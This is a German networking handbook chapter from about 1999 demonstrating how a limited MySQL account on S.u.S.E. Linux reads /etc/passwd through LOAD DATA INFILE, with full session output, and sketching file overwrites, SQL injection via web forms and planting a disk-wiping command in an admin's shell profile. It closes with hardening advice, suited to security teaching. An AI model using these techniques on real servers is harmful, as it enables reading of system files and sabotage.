Weiter Zurück [Inhalt] Online Suche im Handbuch LITTLE-IDIOT NETWORKING

26.2 Angriff auf S.u.S.E. LINUX und MySQL

Direkt zu Anfang ein haarstäubendes Beispiel, welches Sie mit einer S.u.S.E. Distribution selber nachvollziehen können....Ein Angriff über eine SQL Datenbank.....

Import von Datensätzen in MySQL

Im Kapitel wurden bereits zum Test die Datensätze eingelesen. ...

Das Beispiel in dem vorangegangenen Kapitel erlaubte es uns, aus dem Standardverzeichnis von MySQL Daten einzulesen. Netterweise kann man aber auch folgendes Konstrukt angeben. Hierzu kopieren Sie bitte die Datei datenexport.txt aus dem Standard Verzeichnis in Ihr Homeverzeichnis (bitte anpassen !):

user01@tunix:~ > cp /var/mysql/test/datenexport.txt .

Sie löschen nun die Inhalte der Tabelle testtabelle und importieren die Daten:

mysql> delete from testtabelle;                                               
Query OK, 0 rows affected (0.00 sec)

mysql> load data infile "/home/user01/datenexport.txt" into table testtabelle;
Query OK, 3 rows affected (0.01 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from testtabelle;         
+---------+------------------------------------+
| spalte1 | spalte2                            |
+---------+------------------------------------+
|       5 | test                               |
|       5 | testwert                           |
|   34567 | kannix und istnix weissnix habenix |
+---------+------------------------------------+
3 rows in set (0.00 sec)

mysql> 

Ahnen Sie etwas ? Offensichtlich kann man auch absolute Pfade angeben, um Daten aus Nachbarverzeichnissen oder aus geschützten Bereichen in die Datenbank zuladen oder zu speichern !

Probieren wir es aus:

user01@tunix:~ > mysql -h 10.0.0.5 -u testuser -ptestpasswort test

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 17 to server version: 3.21.33b

Type 'help' for help.

mysql> create table passwd (text char(100));
Query OK, 0 rows affected (0.00 sec)

mysql> load data infile "/etc/passwd" into table passwd;     
Query OK, 31 rows affected (0.01 sec)
Records: 31  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from passwd;
+-------------------------------------------------------------------------+
| text                                                                    |
+-------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash                                         |
| bin:x:1:1:bin:/bin:/bin/bash                                            |
| daemon:x:2:2:daemon:/sbin:/bin/bash                                     |
| lp:x:4:7:lp daemon:/var/spool/lpd:/bin/bash                             |
| news:x:9:13:News system:/etc/news:/bin/bash                             |
| uucp:x:10:14::/var/lib/uucp/taylor_config:/bin/bash                     |
| games:x:12:100::/tmp:/bin/bash                                          |
| man:x:13:2::/var/catman:/bin/bash                                       |
| at:x:25:25::/var/spool/atjobs:/bin/bash                                 |
| postgres:x:26:2:Postgres Database Admin:/var/lib/pgsql:/bin/bash        |
| lnx:x:27:27:LNX Database Admin:/usr/lib/lnx:/bin/bash                   |
| mdom:x:28:28:Mailing list agent:/usr/lib/majordomo:/bin/bash            |
| yard:x:29:29:YARD Database Admin:/usr/lib/YARD:/bin/bash                |
| wwwrun:x:30:65534:Daemon user for apache:/tmp:/bin/bash                 |
| squid:x:31:65534:WWW proxy squid:/var/squid:/bin/bash                   |
| fax:x:33:14:Facsimile Agent:/var/spool/fax:/bin/bash                    |
| gnats:x:34:65534:Gnats Gnu Backtracking System:/usr/lib/gnats:/bin/bash |
| empress:x:35:100:Empress Database Admin:/usr/empress:/bin/bash          |
| adabas:x:36:100:Adabas-D Database Admin:/usr/lib/adabas:/bin/bash       |
| amanda:x:37:6:Amanda Admin:/var/lib/amanda:/bin/bash                    |
| ixess:x:38:29:IXware Admin:/usr/lib/ixware:/bin/bash                    |
| irc:x:39:65534:IRC Daemon:/usr/lib/ircd:/bin/bash                       |
| ftp:x:40:2:ftp account:/usr/local/ftp:/bin/bash                         |
| firewall:x:41:31:firewall account:/tmp:/bin/false                       |
| informix:x:43:34:Informix Database Admin:/usr/lib/informix:/bin/bash    |
| named:x:44:44:Nameserver Daemon:/var/named:/bin/bash                    |
| virtuoso:x:45:100:Virtuoso Admin:/opt/virtuoso-lite:/bin/bash           |
| nobody:x:65534:65534:nobody:/tmp:/bin/bash                              |
| user01:x:500:100::/platte2/home/user01:/bin/bash                        |
| user02:x:501:100::/home/user02:/bin/bash                                |
| user03:x:502:100::/home/user03:/bin/bash                                |
+-------------------------------------------------------------------------+
31 rows in set (0.00 sec)

mysql> 

Man kann offensichtlich in einem S.u.S.E. LINUX System mit einem MySQL Server beliebig Daten aus anderen Verzeichnissen in die MySQL Datenbank einlesen und sich quer über das Internet irgendwohin übertragen lassen. Ein Useraccount mit beschränkten Rechten an irgendeiner Tabelle reicht da völlig aus. Sie sehen, daß da auch eine Firewall nicht mehr helfen kann.

Das Statement:

insert .....  
select * from passwd into outfile "/etc/passwd";
Query OK, 32 rows affected (0.03 sec)

spare ich mir nun, was Sie ebenfalls sich sparen sollten.

Damit ein solcher Einbruch also nicht möglich ist, sollten Sie MySQL nur mit User-Rechten starten, und den MySQL Serverdämon in eine CHROOT() Umgebung verbannen. Wie Sie das tun, finden Sie hier: http://www.little-idiot.de/firewall.

Falls Sie nun denken, LINUX wäre unsicher, da haben Sie Recht. Ich kann Ihnen als angehender MCSD aber garantieren, daß NT 4.0 Server mit MS SQL 7.0 noch viel haarsträubendere Sicherheitslücken besitzen, deren Beschreibung Sie leider nicht in der Microsoft Dokumentation finden. Ich selber werde diese auch kaum veröffentlichen, es sei denn, Microsoft gibt alle Quellcodes von NT und MS-SQL 7.0 unter GPL Lizenz frei...

Unter LINUX oder BSD UNIX wissen Sie zumindest, wonach Sie suchen müssen, und können die Probleme beseitigen, unter NT nicht.

Man kann also auch z.B. über ein PHP3 oder PERL-Skript in ein Formularfeld z.B. ; delete * from .....; create ...; load data infile....select.... eintragen, um sich Inhalten von Dateien auf dem Server hinter der Firewall auf den Browser ausgeben zu lassen. Man kann z.B. auch in das Homeverzeichnis des Administrators (.profile, .bash_profile, .bashrc, ....) eine Datei exportieren, die ein Kommando zum Löschen der Festplatte enthält.... Der Angreifer ist schon lange weg und der Administrator löscht seine eigene Festplatte..... Vieles ist möglich.....

Das schlimme ist auch noch, daß MySQL diesen Angriff nicht aufgezeichnet hat. MySQL verzeichnet stets alle Statements in der Datei /var/mysql/tunix.log (oder so ähnlich). Hier finden sich jedoch Logs über die Manipulationen der Datenbank test:

user01@tunix:/var/mysql > more tunix.log 
mysqld started on  Fri Feb 12 16:07:38 MET 1999
mysqld ended on  Fri Feb 12 16:07:39 MET 1999mysqld started on  Thu Aug 19
10:26
:42 MEST 1999
/usr/sbin/mysqld, Version: 3.21.33b-log, started with:
Tcp port: 3306  Unix socket: /tmp/mysql.sock
Time                Id Command    Argument
990819 10:26:48      1 Connect    root@localhost on 
                     1 Statistics
                     1 Quit      
                     2 Connect    root@localhost on 
                     2 Init DB    mysql
                     2 Query      delete from db
                     2 Query      delete from host
                     2 Query      delete from user
                     2 Query      delete from func
                     2 Query      INSERT INTO db VALUES
('%','test','','Y','Y','
Y','Y','Y','Y')
                     2 Query      INSERT INTO db VALUES
('%','test\_%','','Y','Y
','Y','Y','Y','Y')
                     2 Query      INSERT INTO host VALUES
('localhost','%','Y','
Y','Y','Y','Y','Y')
                     2 Query      INSERT INTO host VALUES
('tunix','%','Y','Y','
Y','Y','Y','Y')
                     2 Query      INSERT INTO user VALUES
('localhost','root',''
,'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y')
                     2 Query      INSERT INTO user VALUES
('localhost','','','N'
,'N','N','N','N','N','N','N','N','N')
                     2 Query      INSERT INTO user VALUES
('tunix','root','','Y'
,'Y','Y','Y','Y','Y','Y','Y','Y','Y')
                     2 Query      INSERT INTO user VALUES
('tunix','','','N','N'
,'N','N','N','N','N','N','N','N')
                     2 Quit      
                     3 Connect    root@localhost on 
                     3 Reload    
                     3 Quit      
990819 10:27:02      4 Connect    root@localhost on 
                     4 Init DB    test
                     4 Query      show databases
                     4 Query      show tables
                     4 Quit      
mysqld ended on  Thu Aug 19 10:27:46 MEST 1999mysqld started on  Thu Aug 19
10:2
8:00 MEST 1999
mysqld ended on  Thu Aug 19 10:28:06 MEST 1999mysqld started on  Thu Aug 19
10:2
8:12 MEST 1999
mysqld started on  Thu Aug 26 06:08:44 MEST 1999
mysqld ended on  Thu Aug 26 06:59:19 MEST 1999mysqld started on  Thu Aug 26
07:0
5:41 MEST 1999
mysqld ended on  Thu Aug 26 14:26:28 MEST 1999mysqld started on  Thu Aug 26
14:2
7:40 MEST 1999
mysqld started on  Fri Aug 27 07:10:08 MEST 1999
user01@tunix:/var/mysql > 

Es wurden nur Daten aufgezeichnet die die Tabelle mysql, also diejenige Tabelle betrifft, die die Rechte verwaltet....

Ein echter Angreifer könnte aber auch diese Tabelle überschreiben .....was sicherlich einer Katastrophe gleichkommen dürfte.....


Weiter Zurück [Inhalt] Online Suche im Handbuch LITTLE-IDIOT NETWORKING